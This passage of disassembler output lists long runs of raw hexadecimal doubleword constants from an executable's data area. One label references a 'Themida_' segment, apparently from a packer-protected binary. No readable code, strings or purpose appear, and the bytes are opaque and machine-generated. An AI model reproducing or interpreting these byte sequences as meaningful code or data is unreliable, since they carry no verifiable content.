0FD6A1DA3h, 8F24C1FBh, 98A30435h, 9F25D699h dd 0CBD7034Eh, 0DA4FF2B0h, 77B8BFA3h, 0B2F6FE37h, 14B5E26Bh dd 6D2C5A2Ah, 40D92C6Ah, 0A56239D1h, 2659963Dh, 184AD081h dd 912A01FCh, 0B9BB2DAEh, 0F297EE43h, 0DD5CC338h, 1856FB7Ch dd 870BF1FCh, 0F1BAC9Bh, 4CF3C13Ah, 56EB6CCDh, 4D3AFC18h dd 0DDEDA1Ah, 0B2F8FF66h, 0B78FC96Bh, 500AD70h, 3F223Ah dd 6E040000h, 5DC4276Dh, 585E9BDAh, 18B94E0Fh, 1FA887FCh dd 87E6AA50h, 0F7433335h, 7A46B206h, 6EDB810Dh, 7C3F2266h dd 67D4377Dh, 0DC523F46h, 0C5FC18B9h, 0A17CB383h, 0E3A0413h dd 1, 266A6E30h, 4CDD5CC7h, 91BAF24h, 0B8B982B6h, 0B2FC1884h dd 0A9227947h, 1545D6ADh, 4E451E98h, 8572FDCEh, 98410007h dd 79428B12h, 7A4AF4D2h, 6BEC4DCCh, 0A1FC181Ah, 181A5718h dd 95B18EFCh, 96420DDEh, 3A7D8C0Ah, 14EDFEBAh, 0A5245B0Fh dd 50ABF9E2h, 0C979C21Bh, 3801FA6Eh, 0E0793843h, 0E5A175D2h dd 0CE714AF3h, 1D9C8309h, 0FA49BBBCh, 0DF176AF9h, 0DE0B40DBh dd 0AF28190Dh, 0BAB592E9h, 0E1F9FA49h, 0D79821A0h, 0EF9FA49h dd 0D6AEA831h, 0AD296F68h, 0E9D1BDCh, 719412C7h, 788309CEh dd 6CBF03F9h, 89EFC787h, 47F3C365h, 0B6D5D304h, 8FE31405h dd 8FB2AC6Ch, 0C0C6333Eh, 0A74CC841h, 0CFAA0C7Bh, 0AF6228FEh dd 1C3FE69Ch, 141h, 9E1ADA9Dh, 9FDCE0Fh, 0D0577B18h, 0FADF3B77h dd 86E55201h, 0F61C9A5Fh, 254046B3h, 2C7F3DBAh, 24D09396h dd 0F7D00560h, 0CE0B774Fh, 0DE1659C8h, 0B10A43DAh, 3972AFD5h dd 7DD93FE6h, 0ED000000h, 3A9F7918h, 0FC18B939h, 0B9E556F3h dd 473CFC18h, 0B93D6CDBh, 0DE8180FDh, 0C74A9319h, 5EF5D344h dd 0C0A0475Ah, 0FA0D9EE7h, 0FCBFFC18h, 0FF2BBCF8h, 5B1C6580h dd 33FC18FDh, 0CBCC5BCCh, 4685BB93h, 79F2098Fh, 0C3B3BB0Ch dd 0B3241E01h, 0AB2F96F5h, 1A5784E7h, 0AE3BBAADh, 0D1CE2D31h dd 7D43B818h, 5770AD2Eh, 18719D0Eh, 0BAC2FFCh, 0FC18714Ah dd 8F1BAC9Bh, 86B72AB0h, 0CF000000h, 0A7EBEFAEh, 0FDB61744h dd 6CCD7C50h, 1FAD2CAh, 0D41F6EC5h, 75E26523h, 432D0B62h dd 0C3C7E0BDh, 0D99A3FBEh, 8F9FA8Dh, 32A7AA33h, 3C481174h dd 61F9FA8Eh, 347A6120h, 1B4364D1h, 9C1ADF2Bh, 0F4D84576h dd 0D673F275h, 0F9FA8C65h, 0F566C7BCh, 0F7F9FA8Ch, 0AF92B806h dd 0D704672Bh, 0EBAF279Ah, 1F825B90h, 0E381CDBAh, 3C4F2407h dd 0C7C53275h, 387E7BE6h, 6B5B05EDh, 41C0E469h, 0CA8403F8h dd 810D7A09h, 577B18DBh, 0B4B277D0h, 9CEB0201h, 93470609h dd 27A130D3h, 4B80D30Fh, 8C0ACF72h, 0F0B62306h, 5A21CC95h dd 0B2F45FF8h, 58374C2h, 692FA899h, 6624D312h, 981EDC07h dd 84E75C60h, 891C9A5Dh, 0FD089446h, 0C4B03A78h db 0B6h, 11h, 20h byte_55DBFB db 13h ; DATA XREF: Themida_:004EEA18o dd 0BAF19FC7h, 0B5347D4Dh, 0C7132314h, 0F40E99Fh, 0C69FC713h dd 0CD4AED69h, 920572F9h, 64099D6h, 9117C02Eh, 0C5C33475h dd 3DFA6h, 0A7E70000h, 2C686E9Dh, 5B6196D9h, 575B81C0h dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h dd 8307CF76h, 8951F278h, 4BB53E1h, 1000000h, 0E9835BD9h dd 240C8704h, 4B05685Ch, 4890000h, 1FE6824h, 2C890000h dd 0EFBB5324h, 0B80A7074h, 10596FB0h, 0C1388A2Dh, 5D82905h dd 5C1388Ah, 7EE2685Bh, 24890000h, 24048324h, 0FC685D04h dd 8900000Fh, 4812404h, 5253824h, 8458F0Eh, 38086D81h dd 8B0E0525h, 8956242Ch, 4C681E6h, 81000000h, 4C6h, 24348700h dd 2434FF5Ch, 4C48358h, 0F97FF6E9h, 594C8FFh, 5AD88D20h dd 0D259B6B7h, 170FF170h, 0E8FF9BB8h, 0FFC50305h, 4B6F10E0h dd 63036A19h, 50CEF93Ah, 0E6189C4Dh, 233CB152h, 4963A4Fh dd 67F45339h, 0D6F6A45Dh, 1F892C56h, 5A4997Bh, 0AB75117Dh dd 1FA36F38h, 0E2361004h, 53F89152h, 5B7E325Ah, 8139B615h dd 52F56E6Fh, 0F09D5E57h, 0B3AF3C4Ch, 493C5125h, 5931BD18h dd 0D402526Ch, 1E11FE08h, 9089FA20h, 4BB7507Dh, 308D8D4Ah dd 0F05E901h, 585h, 0EF35BB00h, 8D89184Fh, 5E20BE9h, 642BB866h dd 76185C7h, 601805E2h, 10E90000h, 54000000h, 4F45B5D7h dd 861B7E33h, 8AC94537h, 0C7CC8CBCh, 0E21B5585h, 5, 0AE800h dd 9E950000h, 7218BFF0h, 4CCB185Eh, 1FBDB58Bh, 0FF5805E2h dd 0E22361B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0DC4E382Fh, 0F029BE27h dd 95FF7233h, 5E20B15h, 0AE6BBE66h, 95FF006Ah, 5E20AB9h dd 28EBC08Bh, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh, 315E7D54h dd 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 5CF5244Bh dd 9B47220Ah, 2AE9h, 2404C700h, 0 dd 0E8h, 0ED815D00h, 5E9016Eh, 424448Bh, 6418589h, 0B805E2h dd 8D000000h, 0E24C428Dh, 0B8E1FF05h, 6754h, 0BE8h, 8478E400h dd 7797A5AFh, 4EFD9285h, 5BFAB70Fh, 668EC381h, 8A0F0000h dd 1, 1977B9F5h, 0BF0F0000h, 8133FFC1h, 0D58E1E7h, 0D0815A06h dd 35630925h, 6EDDEA81h, 81664E32h, 8142C3C6h, 3665D5F2h dd 4870F77h, 66000000h, 81A1FCB8h, 0CE77EFF2h, 12E904h dd 86190000h, 80646015h, 5B53FFC9h, 883A64E2h, 0D108EAD0h dd 8FE38A52h, 83F18B03h, 810F04EBh, 6, 8F0Fh, 0E9810000h dd 1, 14850Fh, 0FE8B0000h, 22E9h, 7FFDD00h, 9C8324C9h dd 52B9F323h, 860F4EA2h, 3, 0E961FC60h, 0FFFFFF75h, 89967BEBh dd 0E9C3C0CDh, 0AEh, 0D1FDB93Fh, 0BA206490h, 38F13C7h dd 0D5F1B73Eh, 0BD596794h, 9D5E5F06h, 43B68B17h, 0EA10517Dh dd 904938A6h, 0A1C08C0Ah, 0F1BB5718h, 47878EF9h, 0DA21676Eh dd 0DFDD185Bh, 0B94E0FA8h, 0A887FC18h, 44077A1Fh, 78FD0894h dd 6BF5E06Fh, 0CCFE3A89h, 2B5E8B96h, 9B2C7068h, 35205C8Fh dd 2DF2FC18h, 59FC5B8Ch, 0FC1862A8h, 0DE9CDC64h, 746928FCh dd 4D9EDF2Eh, 3E2h, 9DA71800h, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 25168F2h, 18E905E9h, 5FFF97Dh dd 0F2B86FABh, 305E902h, 1904EBC5h, 0E94C86A4h, 519h, 913D797Fh dd 7A6024D0h, 0C3CFD307h, 9531777Eh, 7D9927D4h, 5D9E1FC6h dd 3F64B57h, 0AA5011BDh, 5089F8E6h, 61804C4Ah, 0F1BA97D8h dd 7C74EF9h, 0D8FF696Eh, 0F3C84723h, 0B43F4EBBh, 87C67947h dd 0E5174A50h, 0B00942D9h, 0E31457EAh, 9C5D04A5h, 4FFE6B1Eh dd 0FC7DDA90h, 15FC18EAh, 79983D5Eh, 7CE78E5Fh, 0F5C3377Bh dd 3843B806h, 0BC2746B3h, 4ACD7C38h, 18D36CEDh, 9BCEA5FCh dd 0E48F585Eh, 0EE3D797Dh, 28F67067h, 3C9263CEh, 55BDC805h dd 0A1A51BEBh, 36A30FE7h, 0E5176A70h, 14781B05h, 0F72C0057h dd 586496EBh, 624B029h, 21CF9673h, 8772FD98h, 8FC4CA33h dd 9C22D998h, 9CC6204Bh, 3C0D9AA8h, 0B2D9076Ch, 0A6B818Ah dd 0B97DDECCh, 0F7BB2120h, 5B6196EBh, 0CACB67C0h, 96D0FC18h dd 86B66B9Eh, 6A153A04h, 92000000h, 0E0204705h, 6344A5D7h dd 8A2FAE87h, 0FC18B9C9h, 0D79A2318h, 1E016422h, 0B7109E5Fh dd 18B9D36Eh, 1659C8FCh, 6422D5E5h, 4E9FD401h, 24F93004h dd 8B3A0413h, 1, 22666EBFh, 5A1BBC3Fh, 8BFC18B9h, 1002BBCh dd 0C811975Eh, 32494D89h, 274644B3h, 0FD493D7Fh, 5011BDF9h dd 44E5E1A7h, 8D96C6D3h, 2BBCECD7h, 276D6E5Fh, 5D599DC4h dd 64F5B4CEh, 36A40DF9h, 0B1DA136Ah, 0C4E53A56h, 9F5CAA9Ah dd 43B4F511h, 3C7F2645h, 15D321BBh, 16BFA1A4h, 0D70342D9h dd 0CE3BB0CBh, 3A8672FDh, 2F0741E3h, 43535F8h, 0B019983Ah dd 0FC1897BFh, 43C01956h, 7Ah, 276D6E67h, 21CC5DC4h, 859D1AAAh dd 1AFD9Eh, 0FCC30705h, 287464EBh, 3F857639h, 0BC386FECh dd 9F28ADF8h, 880B8EF4h, 18892E2Fh, 3F88E7FCh, 0AF33F37h dd 16C28584h, 19A5578Ah, 7667DAC0h, 6392DD28h, 38BEC625h dd 787F3E4Ch, 3F62EB32h, 2CA9FCBAh, 4142EF9Bh, 32893A04h dd 0BD000000h, 0C4276D6Eh, 0C8535F9Dh, 208E66E0h, 0F372F5BBh dd 18B9E556h, 66473CFCh, 666EBAA0h, 0C07EDB22h, 0D9FC18B9h dd 0BD10976Fh, 123A0413h, 1, 266A6E54h, 5D5B9CC7h, 8E66E0CEh dd 0EEF4B820h, 0DD4C60EDh, 0FACDCA7Ch, 7C7F3E01h, 3A719536h dd 9821A0E3h, 0F9FAADD7h, 0A90E310Eh, 0F9FAADA8h, 0B6B90279h dd 0EA5F7B41h, 2FB8AFEDh, 41B5A014h, 0A4B52645h, 0E2999ED2h dd 3A4B059Ah, 53FAC338h, 276B91D0h, 50023D86h, 0C530F9FAh dd 0BD3DA4C7h, 50DD9E3Bh, 3F74F9FAh, 105ABBC2h, 8504DC24h dd 339418C2h, 0ACF3B0Bh, 3C4F5586h, 0E54442BFh, 0EC57B6F4h dd 91C267EBh, 40F9FA50h, 88BBEEBh, 502F2089h, 89E6F9FAh dd 0FA50BFB0h, 0C01956F9h, 0D7AF09A5h, 0A2286E6Bh, 0E6FC29E4h dd 11E863Fh, 40030000h, 0F6B4159Bh, 0F18B7B18h, 76E74006h dd 0AFFC1893h, 1C9A47D0h, 0C0691855h, 1FACA72h, 145FAE85h dd 4839A5E3h, 73F2098Fh, 49E50086h, 2EAB17EFh, 9CDF6268h dd 83C85359h, 4FD10C3Ah, 477E3FE6h, 40000000h, 0D2557918h dd 18B91475h, 97F64DFCh, 18B989CAh, 8D79E1FCh, 98D97EE1h dd 49FC18B9h, 7110E9F2h, 1C8D2A5Dh, 0AEFC18B9h, 1BACEAEFh dd 972AB08Fh, 7CCD3702h, 97307EFDh, 0FC18CBA6h, 0F2CB007Fh dd 93AFh, 7B18D700h, 0EE51D057h, 1744A7EDh, 0D2CD6DB6h dd 9CDF01FAh, 8C2D5C58h, 0F9FAA0CBh, 0E9C2D1Ah, 0E8ABEA31h dd 90C166F0h, 41F9FAA0h, 252CBDEAh, 99E8F6B4h, 66C35A60h dd 0F9FAA3CEh, 95E1D593h, 60232664h, 0F4922B79h, 0F76A5EC3h dd 0F85DE374h, 839410C4h, 0F1CAB021h, 0E3FFA3A8h, 1A0D7A07h dd 0E3194A8Dh, 0D3731546h, 0E677CCF7h, 526BD7BCh, 494F88CBh dd 2AADD432h, 0D3B5CC8Dh, 0B62405F7h, 0ED5A93EAh, 22A292DCh dd 0B116093Dh, 9CAB084h, 0F2F8E65Dh, 0D0577B18h, 0A5EBEE51h dd 0BCBEBB04h, 18570201h, 0E8B42669h, 0D16EA26Fh, 318AC105h dd 622EAB2Ah, 0D6FC2977h, 21206693h, 0CB5819BEh, 0E584F9F1h dd 7EAF4E5Bh, 6C7DCA50h, 0D07178C1h, 0CA8C4061h, 4D4B8CFAh dd 0B1F7E041h, 0AEECEB6Ah, 0FDC9735Fh, 444248B1h, 0B3B6F4E5h dd 648705F0h, 0E44FD6F7h, 3, 6E9DA71Eh, 96D92C68h, 81C05B61h dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h dd 0CF769519h, 0F2788307h, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 68241489h, 4A99h, 68243C89h, 57FEh, 68240489h, 1472h dd 0BE243489h, 34A37F53h, 727E681h, 0EE813D37h, 54555A24h dd 14BDC681h, 0EE816D8Dh, 4771BE8Bh, 545EF789h, 8124048Bh dd 4C4h, 0BF575700h, 3FF502E4h, 4247C31h, 8408F5Fh, 0E4087081h dd 0FF3FF502h, 81582434h, 4C4h, 2434FF00h, 4C4835Fh, 0F977F2E9h dd 0C80718FFh, 894D8B8Eh, 7A1B82Ah, 0C50305E9h, 69D7E0FFh dd 0A0FE0922h, 0D6A577D8h, 78705C47h, 0E36A7BCCh, 6E594364h dd 0FA5E1B4Ah, 0A6352D3Dh, 9C2463F4h, 8AAF343Eh, 23C52FA1h dd 0B635614h, 0C1431C0Eh, 57751278h, 0A8D06C67h, 0D871421Ah dd 51BD109Eh, 62326BC6h, 65EA4FC7h, 0E5523EB2h, 0DA355706h dd 0B80070F5h, 5861518Dh, 0EB5707DEh, 4EB45EFh, 442FA21Eh dd 0D79E9h, 0ABD6800h, 6CE905E9h, 68FFF977h, 5E90BC6h dd 0F97762E9h, 0C7C68FFh, 58E905E9h, 68FFF977h, 5E90D48h dd 0F9774EE9h, 10CA68FFh, 44E905E9h, 68FFF977h, 5E91381h dd 0F9773AE9h, 147B68FFh, 30E905E9h, 8AFFF977h, 0FF42484Ch dd 5217B3F7h, 8DFC1AA6h, 0E3464C4Ah, 912EB4FAh, 6230ADF2h dd 0C8D60564h, 317D7FC2h, 6523D495h, 0AB0C7579h, 0F9F1B1AAh dd 84B3A7Bh, 0FF58CFCDh, 0F9F1B17Eh, 3B0FD897h, 0C4276D6Eh dd 0B7535F9Dh, 0B4AB9F84h, 0FAC7A713h, 0D20B7E01h, 0C73CB9CCh dd 0B7A6DBA4h, 33B5F9FAh, 13B43743h, 0F9FAB722h, 637E38FEh dd 18061795h, 31EC9A23h, 9E3FE619h, 3Eh, 9D7B18A0h, 18B93B3Ch dd 209DEAFCh dd 32767E21h, 0DC166A9h, 2401FAD5h, 0D34FD84Fh, 28306097h dd 602CAC13h, 0DE533C47h, 0CDF9FA40h, 9974BB8Bh, 363FE70Ch dd 0Ch, 8004F0B3h, 0E28E4327h, 0B4000008h, 0D823696Eh dd 0BC5A6099h, 8FB296BBh, 0FCA8D0Ch, 0B9B7B881h, 45B5FC18h dd 0ADA92279h, 0CEACF5D6h, 0C101FAD8h, 5110136Ah, 5784E7ABh dd 0A6102D76h, 0B822F9FAh, 0AA2E91F4h, 868A87E6h, 0ACA4392Bh dd 9165275Bh, 0A79FD92Fh, 0E646AD60h, 43023Fh, 18240000h dd 91D0577Bh, 9BDA2165h, 0BCE3585Eh, 256C7D3Bh, 0FAD1D284h dd 32971601h, 0F9FAA101h, 0C4429BD0h, 3E331C6Fh, 2DF9FAA1h dd 3EB02D6Ch, 0E8297F6Eh, 0B10A4797h, 974ABD89h, 343FE6AFh dd 0D7h, 29696E0Eh, 0D38425B3h, 2FC18B9h, 7883F835h, 38847639h dd 105F68EDh, 0DF46A5EBh, 0CA515F9Ch, 0C0393881h, 0B720A3FAh dd 2DD94EF1h, 0ACF0E8B4h, 0C6C965ABh, 0E9A621E5h, 0DBFC18D6h dd 0F72981Eh, 0F6B9CCCAh, 0D461D277h, 0FBB0FC18h, 7F485484h dd 38BF9986h, 0A5020572h, 1FA876Dh, 2823AF84h, 0A700072Bh dd 41FF380h, 195AFF7Eh, 0C8F7DFEBh, 473C6A73h, 565C81C0h dd 0BE04F948h, 7E43D271h, 0A58C99FEh, 0A9Dh, 656125D3h dd 0CED4D004h, 97337F7Bh, 796523D2h, 0C1CDD308h, 9F2CBAAh dd 0AF2A1FBBh, 5684E5E1h, 0FCFD4C4Ah, 0D52C10BEh, 0F1B3C374h dd 0AB1312F9h, 0A2E8EFAEh, 86C9125Bh, 0FE434F55h, 39C26FF9h dd 435102A7h, 0AB80FC18h, 0B37A0CA2h, 18925846h, 6D368B7Bh dd 0FC9D21DBh, 2F64EADFh, 26DF9F38h, 397601FAh, 0B6E885E2h dd 7DFBF9FBh, 22CB0689h, 0DC603FE7h, 5A000000h, 0D823696Eh dd 0CF5E6499h, 0C6A2D344h, 0E41947A9h, 0A6A57AC3h, 0E217FC18h dd 0A488C96Eh, 0E259FC18h, 0A499DA7Fh, 0F348FC18h, 0B0291886h dd 79B6FAE0h, 6448D522h, 0B32362E5h, 0E02794F7h, 0C912ABF9h dd 1FAF751h, 67E871F0h, 0A5F9FAF6h, 0FAF65304h, 0A9B582F9h dd 7E7965D2h, 0ED4AFDD1h, 41F2649h, 0F574EB40h, 0E6478D64h dd 53F4AE3Bh, 0F7DE8AE2h, 0EF9833h, 1CA14F70h, 347860A7h dd 0B02D6C93h, 5885E4E2h, 45782D4Ah, 0AEFBFE7Fh, 994C7h dd 6A2EA800h, 0DDD91D6Ch, 4887031h, 6E2CAB9Eh, 0D6DC0160h dd 0CBD4B3C8h, 23068C12h, 9DECEAB8h, 0F2B7535Fh, 5B1B8705h dd 0B2CC8D2Ah, 1805F9F1h, 276D6ED2h, 8B11C6BBh, 0FCAF0394h dd 57FFEA84h, 184841F2h, 6EDB90FCh, 6E83495Dh, 99D82369h dd 0ECAA5060h, 1C59ACE8h, 0DD6C6AA7h, 9C8E5E9Ah, 3DA1A770h dd 0BC842592h, 0D4F865D9h, 7A12C455h, 701FBB19h, 0B8F2857h dd 4201FAD1h, 0F894B3F5h, 0BAA03FF6h, 198EB195h, 0A8ABACB8h dd 77BA03FEh, 5DFAFCD2h, 0CD5817AEh, 0C47B6FF4h, 77782F63h dd 76E946B4h, 0DEC4C237h, 0C3286E6Bh, 4ED6D154h, 0DE036207h dd 12000008h, 473AA0E4h, 0BA8F0B8Fh, 1554723Eh, 4B3EA4E2h dd 69860C92h, 0FAC8358Ah, 206E6DDCh, 8915C7BAh, 0FDBB3C0Dh dd 3394EDD1h, 0F9F1B502h, 6E6852D3h, 0ECB22969h, 0C027B0B7h dd 6EE8AF2Fh, 5B9016C1h, 2FB8FB82h, 2CD1F1F8h, 45D60766h dd 88FF7D08h, 8770494Fh, 9ADB7C9Ah, 4BFC181Fh, 0C6345BFCh dd 0E33F482Bh, 0F016B3B6h, 2B01FA75h, 0E2C55180h, 3368E7BFh dd 38F4D0Ch, 3B3C9D1Ch, 0EAF9FAF5h, 2B5E4C9Dh, 44E56D68h dd 0F9FAF513h, 0ED3875C2h, 0EA105F68h, 6236A3A6h, 86492D5Fh dd 0EFA56DEEh, 1F7598DEh, 99DAA7CEh, 75F9FAC7h, 0F9FAB7F8h dd 8CB397BCh, 186DBB2Bh, 8E1D6A04h, 0EF149247h, 0FE80DE5Ah dd 12F9582Dh, 26000008h, 9BEEF4B0h, 0CEB35F5Bh, 2918860Ah dd 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh dd 1877031h, 0FA8D985h, 0F9F1B44Eh, 0AE5C9E87h, 44A7EBEFh dd 50FDB617h, 7A6CCD7Ch, 8E01FAE3h, 3F372C19h, 7DAC8723h dd 7FAB3C7Ah, 7A7AE500h, 0EE11903Eh, 0FA130849h, 5962D9F9h dd 43DADE16h, 0CCEE876h, 0BBF06580h, 13CA2384h, 0B720F9FAh dd 860CCEFFh, 0CD8E2BB4h, 4F9FA86h, 0EA4FF22Fh, 0F9FA8669h dd 0ACFAC3B8h, 0E06AB4D7h, 18F16614h, 0A8DA7BFEh, 0E2AE2A9Dh dd 0C689529Bh, 5B57800Eh, 44A71CA2h, 0AB3CDA17h, 0F9FA8396h dd 0E9984CD2h, 0E8B62766h, 223F589Dh, 32D2712Ch, 92E74099h dd 8BF9FAB9h, 0DC1F9B60h, 75A2F9E5h, 12DC1869h, 0FA9E84B5h dd 70E146F9h, 0A1F9FA9Eh, 70F74CCAh, 0FA9E66D7h, 8BC0BFF9h dd 9826D594h, 54FFC80Dh, 0FA9D7E0Bh, 28E4CF9h, 3D8378FBh dd 12E2A4EEh, 1C6F35A4h, 1E5862DFh, 0A3591826h, 98458C1Fh dd 0D7AF30Ah, 4541B5BCh, 565483C2h, 61258637h, 0B5D0D400h dd 0FA91A7ECh, 1CE852F9h, 646226AEh, 46F9EF73h, 0FA914DE1h dd 0BCCFA4F9h, 0C93372F5h, 1435A6C5h, 0F9FA9123h, 0DB2485F2h dd 7598353Fh, 12C7C90Dh, 85CC5F94h, 0BA334A58h, 0F1149247h dd 0E65A2A2Ch, 0C2704482h, 872CCC55h, 5677FEFCh, 4744FDD0h dd 18952B4h, 18940000h, 77D0577Bh, 1FADDCFh, 0B7362906h dd 428503F4h, 0B1B00997h, 0FED69E48h, 0ABB94481h, 0E811507Eh dd 9B3CBFA2h, 0F9FAD1DAh, 0E051F60Bh, 31F9FAD1h, 410C0D7Ah dd 1B2F7A3Ah, 2B741FA8h, 86BD7CF4h, 36F4701h, 77CAD0D6h dd 8E10482h, 1B42FA0Ah, 7FE556F3h, 473C7130h, 55D3C8D6h dd 488D18A6h, 0E0A3A613h, 703CBEF8h, 0F46BA015h, 30A7E253h dd 63443371h, 9513C2A7h, 8C0ACF76h, 3BA0E306h, 0AA791675h dd 97C8FD45h, 0C689528Fh, 17708B11h, 0E38BF468h, 0E2397F76h dd 0D7367463h, 0D734305h, 0DB675F19h, 8B5C6098h, 99513C4h dd 46F9BF38h, 0F3D4D207h, 0DDF39F68h, 0E84C0DAAh, 0A48503ABh dd 35796337h, 220783F8h, 0B5F9E1B9h, 5DA8E556h, 0A700FE64h dd 3ABE8B6h, 0A4DB106Fh, 0ABE85603h, 2AB08F03h, 81E4A257h dd 7CDD9D5Eh, 3ABE8FBh, 0EAEA5D2Ah, 0A11E5FAEh, 0D3DF1B5Ah dd 0CCD20948h, 0C3B3F5B9h, 13E36D7Dh, 6E7432A7h, 4DD8DE1Bh dd 0AF0EE74h, 0E86AEB4Ch, 0CCBB03ABh, 8AC77497h, 0A1551497h dd 745586E5h, 0ABE8222Bh, 0D079F803h, 3ABE89Fh, 0BAE0F9B6h dd 7760C1CDh, 716BEA31h, 75F5DE2Dh, 0C6C43581h, 2A7069D8h dd 0EC1150D3h, 262C05A6h, 0B5BA1F02h, 5C03ABEBh, 5FAEECEDh dd 4425A11Eh, 6F30A96h, 94353418h, 3ABEBB3h, 0E051F679h dd 3103ABEBh, 4E25617Ah, 26F44EDBh, 0E5D27A4Fh, 6E18C6C4h dd 0B4A72369h, 2384BBAFh, 1FAC2C3h, 9479B029h, 1B0B249Ah dd 78EF44C2h, 0D3FFC339h, 0AD2A6C6Eh, 18839CEFh, 1FE01F41h dd 56F376A3h, 0F9FA7AE5h, 0F30A473Ch, 32351906h, 850BF0B3h dd 8BD4F566h, 418121Fh, 0C5A2F9B6h, 0F7DC15A8h, 0FB9F67ECh dd 35D958C0h, 0C1661956h, 0A3E5D01h, 0AF8A730h, 67A2CC77h dd 6790D32Ah, 860D4EEBh, 6FC4EDBEh, 576EF532h, 287DF89Fh dd 49049h, 7632A400h, 0D9DD1968h, 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch dd 0C7D8BF34h, 3F028816h, 99E8F6BCh, 0CEB35F63h, 5F078309h dd 0A9D08126h, 1C01F9F1h, 4939AEDEh, 0E888DA3Dh, 40CDA607h dd 6E5CFD6Ch, 8101FA43h, 157034A0h, 37106BA0h, 0F9FA433Bh dd 53D6AE28h, 3FE7097Eh, 0B42Dh, 2B881100h, 0B3FC18B9h dd 27C1363Bh, 6D149957h, 0C1CD3ADDh, 0A5510B16h, 0E4519AE1h dd 38A3E265h, 4F08516Ah, 86FC18EDh, 0E61352A9h, 4873AA0h dd 18EDB2A3h, 31463FCh, 95E59E4Eh, 0C0B902E4h, 3E726741h dd 6DB8F5BBh, 0D8CB3E8h, 8E0CCB8Ah, 0EC6DFE7Fh, 25FC18B6h dd 0C7ACCD4Eh, 0CFAC3497h, 0FCAC95FEh, 0E65FC18h, 58374FFh dd 35268302h, 0ECFC18FCh, 67503697h, 9F1BDEF8h, 0AE1B505Eh dd 0FC411EBBh, 4FE8FC18h, 746CF3CFh, 831A57E5h, 18F589A6h dd 0A292DCFCh, 180F3F22h, 18F5A2BFh, 2F64BFCh, 2D2E8BBEh dd 0E4FC18F5h, 15B4528Fh, 0A9h, 577B1829h, 0E35777D0h dd 0B18E01FAh, 0A2F0EB6Ah, 0CC2A3324h, 0FA92EA6Bh, 0CB4C3BF9h dd 1DB2788Dh, 0CE71AE3Fh, 0FA4DEC69h, 0DB4E25F9h, 0CF5E6298h dd 49163D8Eh, 0F9FA4D33h, 53D6AE28h, 3FE7037Eh, 642Dh dd 7F181100h, 0D4BB2C53h, 67494B9Fh, 6BB2A9A2h, 3F506855h dd 95C663AEh, 57FC181Ah, 4A5E314h, 1352A986h, 3B3CDAE8h dd 880B3E12h, 0B7A8A81Fh, 66F7065Ch, 81A585CAh, 4C953681h dd 0FC181BC7h, 8DEA310Eh, 0FC185BF0h, 0BFCBBBA5h, 5BDA9B3Ch dd 3C0BFC18h, 38810DCDh, 77EAC64Fh, 185BADD2h, 38FE4FCh dd 23696E45h, 0E41659D8h, 97400FD8h, 5DC2F511h, 0B95506A3h dd 0B78CFC18h, 9462C77Ah, 8F01FAD8h, 770C55B0h, 64F9FAA6h dd 429F12E2h, 0EB3FE62Eh, 1C6F2DA8h, 4C810EDFh, 0A5000000h dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 3E309918h, 0D101FAD1h dd 8100039Ah, 0FAA13738h, 4891EEF9h, 0FAA152EFh, 41C041F9h dd 0FAA177F8h, 8D1AEF9h, 89C8764Eh, 0A4E99151h, 9524B66Ah dd 3F88CD58h, 0E6CFD60Bh, 0BD753Fh, 0AE490000h, 5BA2E8EFh dd 5186C912h, 0E71304Bh, 31BAC1C7h, 6434A9A8h, 0A9FC2977h dd 6935A7E6h, 0A2E81150h, 0D9DF185Bh, 0BEF5AA3Dh, 12C7FC18h dd 0BE3B0E94h, 0CF54ADF8h, 0C3C3641Bh, 7201FAD2h, 7C9E4D9h dd 0BCB210Eh, 82FF7C8Fh, 818E4955h, 811DBAADh, 28041F7Eh dd 6D6D2C53h, 56199821h, 0EB24C3A5h, 0B453D30Bh, 0C3388675h dd 2B7962C7h, 7F076FCEh, 3C0762FEh, 1D9h, 21ADE9EFh, 8A109440h dd 537F43B7h, 25A1E7EEh, 8D099744h, 0CD0E8F76h, 7366DBC7h dd 1AC0A12Dh, 0C0390896h, 9110DCFAh, 0F1AA0748h, 9757DEF9h dd 0BB276D6Eh, 31228706h, 0E0FC18B9h, 0CA0F328Bh, 1818C6CCh dd 0CEA05D7Bh, 0F5ACE68Fh, 665D23Bh, 70E998D5h, 0EC0FAA10h dd 0CF2B4BE8h, 0EF1B2410h, 41E629B2h, 1FAD711h, 37106BC0h dd 0F9FAA73Ah, 50D7AF29h, 3FE6317Dh, 0BFD2h, 2FAE1400h dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh, 167533A4h dd 0E1602EAFh, 6FFF2068h, 0E425A856h, 0B27D0F2Eh, 7510A9E6h dd 183F772Ch, 169445FCh, 67E07988h, 18D48845h, 167531A5h dd 105F68A5h, 682EABE7h, 721FE833h, 9C8E2B5Eh, 3701FACFh dd 0F4995278h, 790851D0h, 9C041F5Fh, 0A821A0A7h, 73C314Bh dd 74FBCC61h, 0AC9D3987h, 0F304612Fh, 0B6FE7F05h, 0DF70D3h dd 0E3150000h, 8E463BA7h, 3DBD8C0Ah, 0E1145571h, 914A3FDBh dd 89688703h, 0DDF9C734h, 0BB276D6Ch, 28814C6h, 0D6FCBA3Fh dd 13297EEh, 0D0F9F1ADh, 6D6E69ADh, 11C6BB27h, 6DFA0F8Bh dd 7A163D6h, 5713B442h, 0A1EDEFAEh, 1AA05918h, 11974083h dd 0E6AA2F6Eh, 1A53AAEEh, 0AA1D5EADh, 0D11A612Fh, 34591208h dd 16C81110h, 0C90201C1h, 2FA82B72h, 5DDC6D69h, 0F1B07BFCh dd 0CDDAAF9h, 0DD1C9445h, 39AD7h, 0F4975797h, 5D6E07D9h dd 36B1E5F4h, 8E662038h, 4EF1B720h, 29E96ACFh, 4338BBA8h dd 1CDDAC7Ah, 85040F9Eh, 0A8293324h, 